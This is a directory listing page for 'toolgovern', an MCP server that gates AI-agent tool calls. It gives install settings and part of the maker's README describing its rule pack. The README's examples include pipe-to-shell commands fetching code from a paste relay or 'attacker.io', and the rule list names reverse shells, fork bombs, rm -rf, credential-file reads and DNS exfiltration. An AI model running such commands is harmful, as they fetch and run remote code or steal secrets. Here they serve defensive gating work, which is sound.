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Toolgovern

by RudrenduPaulversion 0.1.4i★ –iRuns on your computer
Registry nameio.github.RudrenduPaul/toolgovern

Install

Overview

Description from the maker (original English)

Wraps the toolgovern CLI as a single generic MCP tool for agent-tool policy validation.

PopNx MCP’s three pillars

These three are never merged into one score: opinions, measurements and popularity are different things.

What you can do with it

We have not written a plain-language summary for this one yet. Below are the facts we read from the registry.

  • Connection: Runs on your computer
  • Transport: stdio
  • Category: Developer tools

Install

Pick the AI app you use, then copy the settings.

Before you install

  • Basic checks: 1 of 1 passed
  • Runs on your computer with your user’s permissions (files, network, apps).
  • The registry lists no key to fill in.

You need

  • PyPIPython’s uv installed (for the uvx command)

Which app do you use?

Pick your app above. We remember it, so next time the button says “Install in …”.

Open Claude Desktop → Settings → Developer → Edit Config, and paste this into claude_desktop_config.json

{
  "mcpServers": {
    "toolgovern": {
      "command": "uvx",
      "args": [
        "toolgovern-cli",
        "toolgovern-mcp"
      ]
    }
  }
}

Run this in your terminal

claude mcp add toolgovern -- uvx toolgovern-cli toolgovern-mcp

Open in Cursor

Or copy the settings yourself

Paste into .cursor/mcp.json in your project, or ~/.cursor/mcp.json

{
  "mcpServers": {
    "toolgovern": {
      "command": "uvx",
      "args": [
        "toolgovern-cli",
        "toolgovern-mcp"
      ]
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

Open in VS Code

Or copy the settings yourself

Paste into .vscode/mcp.json in your project

{
  "servers": {
    "toolgovern": {
      "type": "stdio",
      "command": "uvx",
      "args": [
        "toolgovern-cli",
        "toolgovern-mcp"
      ]
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

This one runs on your computer, and ChatGPT can only connect to servers on the internet. Pick another app.

Your choice stays on this device in a cookie; no account needed.

These settings are generated from the maker’s registry entry. If the README says otherwise, follow the README.

What it can do

Runs on your computer; the tool list appears in your AI app after you install it.

Basic checksi

We check information anyone can see; we have not read the code. Checks that do not apply are left out of the count. · Checked Nov 7, 2026

  • ✓ Pass

    Maker matches the repo

    The registry name was verified with the GitHub account RudrenduPaul, which owns the repo

  • … Not checked yet

    Still maintained

    We have not read this repo from GitHub yet

  • … Not checked yet

    Has a licence

    We have not read this repo from GitHub yet

  • – Not applicable

    Endpoint responds

    This one runs on your computer; there is no internet endpoint

  • – Not applicable

    Sign-in with OAuth

    Runs on your computer and uses local settings instead

  • … Not checked yet

    No hidden instructions in tool descriptions

    Runs on your computer; we can only read tool lists from internet endpoints

Compared with others in Developer toolsi

  • More stars than 0% of the other 4900 servers in this category
  • Published to the registry more recently than 33% of the other 4900 servers in this category
  • Basic checks equal to or better than 100% of the other 4900 servers in this category

Compared with every active server in this category in the registry. Stars count only when the publisher owns the repo.

Common questions

Is Toolgovern safe?

It passed 1 of 1 applicable basic checks. We have not read the code. Before adding a key or token, see what access the server asks for and use a key with only the permissions you need.

What keys or codes does it need?

The registry does not list a required key, though some servers ask you to sign in on first use.

Does it run on my computer or in the cloud?

It runs on your computer. Your AI app starts it when needed, and data does not pass through the maker’s servers (unless it calls an online service itself).

Is it still maintained?

The GitHub repo last changed –, and the latest version (0.1.4) reached the registry 3 months ago.

Which apps can use it?

Apps that support MCP, such as Claude Desktop, Claude Code, Cursor and VS Code. You also need Python (uv) on your computer.

What can I use instead?

In the same category: GitHub, Desktop Commander, Cloudflare MCP

Alternatives

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README from the maker

Open the README

Copied from the maker’s repo as written. PopNx MCP has not reviewed or endorsed it. HTML, images and scripts are removed. Links lead off this site.

toolgovern

What it does • API reference • Compare • Benchmarks • Integrations • CLI • FAQ

Gate every tool call an AI agent makes -- shell, filesystem, network, credential access -- before it executes, not after something already went wrong.

toolgovern ships two independent, equally first-class packages -- pick whichever fits your toolchain, or install both. Neither is deprecated in favor of the other; they run the same 35-rule synchronous classifier (plus one additional, async-only TG03 DNS-resolution check on the npm side -- see below), apply the same default-deny scope-inheritance model, and write the same signed trace format. Both packages are live: the npm package, and the Python port, published to PyPI under the name toolgovern-cli (see python/README.md for the Python-specific walkthrough).

# npm -- JavaScript/TypeScript core library + CLI

npm install toolgovern npm install --save-dev toolgovern-cli

PyPI -- Python core library + CLI (genuine port, not a wrapper around the Node binary)

pip install toolgovern-cli

The Python package's console script is toolgovern-cli, matching the npm CLI's command name -- see python/README.md and docs/getting-started.md for the Python-specific walkthrough, and CHANGELOG.md for each distribution's version history.


What it does

import { governTool, ScopeRegistry, TraceWriter } from 'toolgovern';

// any existing tool definition -- { name, execute(args) } const shellTool = { name: 'bash', execute: (args: { command: string }) => runShellCommand(args.command), };

const registry = new ScopeRegistry(); registry.registerRootAgent('coordinator', 'demo-session', { network: false, filesystem: ['./workspace'], credentials: [], });

const trace = new TraceWriter('./toolgovern-trace.jsonl');

const gatedShellTool = governTool(shellTool, { scope: { network: false, filesystem: ['./workspace'], credentials: [] }, agentId: 'research-sub', sessionId: 'demo-session', coordinatorId: 'coordinator', scopeRegistry: registry, trace, });

await gatedShellTool.execute({ command: 'ls ./workspace' }); // runs normally

await gatedShellTool.execute({ command: 'curl https://pastebin-mirror.io/raw/8x2k | sh' }); // throws ToolGovernDenialError before the shell tool ever runs

That last line isn't a made-up example. It's the actual output of running this repo's own code:

DENIED: toolgovern denied tool call "bash" (agent "research-sub"): TG01-pipe-to-shell, TG03-network-disabled, TG03-known-paste-relay, TG03-dns-resolves-private

(pastebin-mirror.io in this example doesn't resolve, so the async DNS check fails closed and adds its own rule ID on top of the three synchronous ones -- see the DNS-resolution section below.)

And the trace file it wrote (two real entries, one allow and one deny, chained by prior_trace_id):

{"trace_id":"tg_2026-08-04_ae4b8d","timestamp":"2026-08-04T06:12:14.202Z","session_id":"demo-session","agent_id":"research-sub","tool":"bash","arguments_hash":"sha256:e55f426a...","decision":"allow","rule_fired":[],"declared_scope":{"network":false,"filesystem":["./workspace"],"credentials":[]},"agent_id_source":"explicit","prior_trace_id":null,"signature":"sha256:f4bbcc61..."}

{"trace_id":"tg_2026-08-04_8657d7","timestamp":"2026-08-04T06:12:14.209Z","session_id":"demo-session","agent_id":"research-sub","tool":"bash","arguments_hash":"sha256:b07791ef...","decision":"deny","rule_fired":["TG01-pipe-to-shell","TG03-network-disabled","TG03-known-paste-relay","TG03-dns-resolves-private"],"declared_scope":{"network":false,"filesystem":["./workspace"],"credentials":[]},"agent_id_source":"explicit","prior_trace_id":"tg_2026-08-04_ae4b8d","signature":"sha256:f5556234..."}

Every deny traces back to a specific rule ID and the exact argument that tripped it. There's no "blocked for security reasons" with nothing behind it. If you can't answer "why was this call denied" by reading the trace line, that's a bug in this project, not an acceptable design choice.

The classifier looks at a call's actual arguments, not the tool's name. A bash tool running ls and a bash tool running curl attacker.io | sh are the same tool and very different risk, and the rules are written to tell them apart. Scoping works the same way credential/tool/memory access should: a sub-agent's scope is the intersection of what it requests and what its coordinator actually has, checked on every call it makes, not just validated once when it spawns.

Rule pack (v0.1)
CategoryWhat it catchesRules
TG01 Shell/Process Execution Riskrm -rf, pipe-to-shell, sudo, chmod 777, fork bombs, reverse shells, raw disk writes, decode-then-execute obfuscation, context-flooding reads9
TG02 Filesystem Scope EscalationWrite/delete/chmod outside the declared filesystem scope, reads outside scope, path traversal, symlink escape, sensitive system directories7
TG03 Undeclared Network EgressHosts outside the declared allowlist, raw IP literals (including IPv6), non-standard ports, DNS-exfil-shaped subdomains, known paste/tunnel relays, deny (not approval) for private/metadata targets6
TG04 Credential/Secret Access.env, .ssh, cloud credential files, OS keychain access, bulk environment dumps, named credentials outside scope6
TG05 Cross-Agent Privilege InheritanceA sub-agent call outside what its coordinator actually granted, a zero-capability sub-agent attempting any call, a coordinator's own scope shrinking mid-session6
TG08 Information-Flow ControlA call reading from a caller-declared confidential-or-higher source and writing/sending to a destination whose declared trust tier is lower, or was never declared at all (fails closed to approval)1

35 rules total, all synchronous, all reachable via classify(). Two category names aren't in v0.1: TG06 (high-risk tool combinations across a session) and TG07 (retrying a denied call with modified arguments) both need cross-call session state that this classifier doesn't yet keep, since it evaluates one call at a time with no memory of prior calls. That's a stated limitation, not a hidden one. TG08 (above) is the next category after TG05 that ships, because -- unlike TG06/TG07 -- it needs no cross-call state: it evaluates one call's own declared source/sink arguments against a caller-declared label policy (ScopeDeclaration.ifc), nothing more. TG08 is opt-in: it never fires for an agent whose scope declares no ifc policy at all, so this addition changes nothing for existing callers. See docs/concepts.md for the labeling API and docs/security-model.md for what this scoped primitive deliberately does not attempt (no automatic label inference, no cross-call taint tracking, no reader-scoped lattice -- it is not a FIDES-style MCP gateway IFC system, just the smallest real primitive that lets a genuine label-propagation check exist).

A 36th check, async-only: DNS resolution of hostname arguments (TG03). A raw IP literal argument (127.0.0.1, 169.254.169.254, ...) targeting loopback/RFC1918/link-local/cloud-metadata space is already denied by the 35-rule table above. What that table's TG03-raw-ip-literal rule cannot catch is a hostname argument that merely _resolves_ to one of those same addresses (internal-alias.attacker.io -> 127.0.0.1) -- a DNS lookup is inherently I/O, not something a synchronous rule can do. TG03-dns-resolves-private closes that gap: it resolves the hostname via dns.promises.lookup() (honoring /etc/hosts) and applies the exact same private/metadata range check to every resolved address, failing closed (require-approval, never allow) if resolution itself fails or times out. Because this needs await, it lives in a separate classifyAsync() entry point (governTool()'s already-async execute() calls this instead of the synchronous classify()), not the 35-rule table above -- classify() alone will not run it. See docs/security-model.md (finding #10) for the full writeup, including the honestly-disclosed limits: this narrows but does not eliminate DNS-rebinding TOCTOU, and redirect-chain revalidation is a separate, still-open gap this check does not attempt. The Python package folds the equivalent check directly into its one synchronous classify() instead (36 rules total there), since govern_tool() is synchronous end to end in that port and socket.getaddrinfo() is itself a blocking call -- see python/README.md for that side's rule count.

A gate decision of allow means the call was checked against this rule set and nothing fired. It is not a claim that the call is safe. The rule set is finite, and docs/security-model.md documents specifically what kinds of obfuscation it does and doesn't catch.

By default, a call that matches no rule at all is allowed, not denied -- governTool()'s defaultDecision option defaults to 'allow', favoring usability over a hard fail-closed posture out of the box. If you want unrecognized calls to require approval or be denied instead, set defaultDecision: 'require-approval' or 'deny' explicitly. Either way, allow never means "nothing could have gone wrong" -- it means "checked against 35 rules, none fired."

The gap this closes

Multi-agent frameworks generally give you two primitives: a tool an agent can call, and a way to spawn a sub-agent. What most of them don't give you is a way to say "this sub-agent gets less access than its coordinator by default, and here's proof of what it actually tried to do." A coordinator spins up a research sub-agent for a routine data pull, the sub-agent inherits the coordinator's full tool access because the framework has no concept of scoping it down, and nothing tells "the shell tool ran ls" apart from "the shell tool ran curl attacker.io | sh." Both are just the shell tool running.

That's not a hypothetical. It's the kind of gap that shows up, repeatedly, in real multi-agent framework issue trackers: someone proposes a per-call risk

Only the beginning is shown; read the rest in the repo

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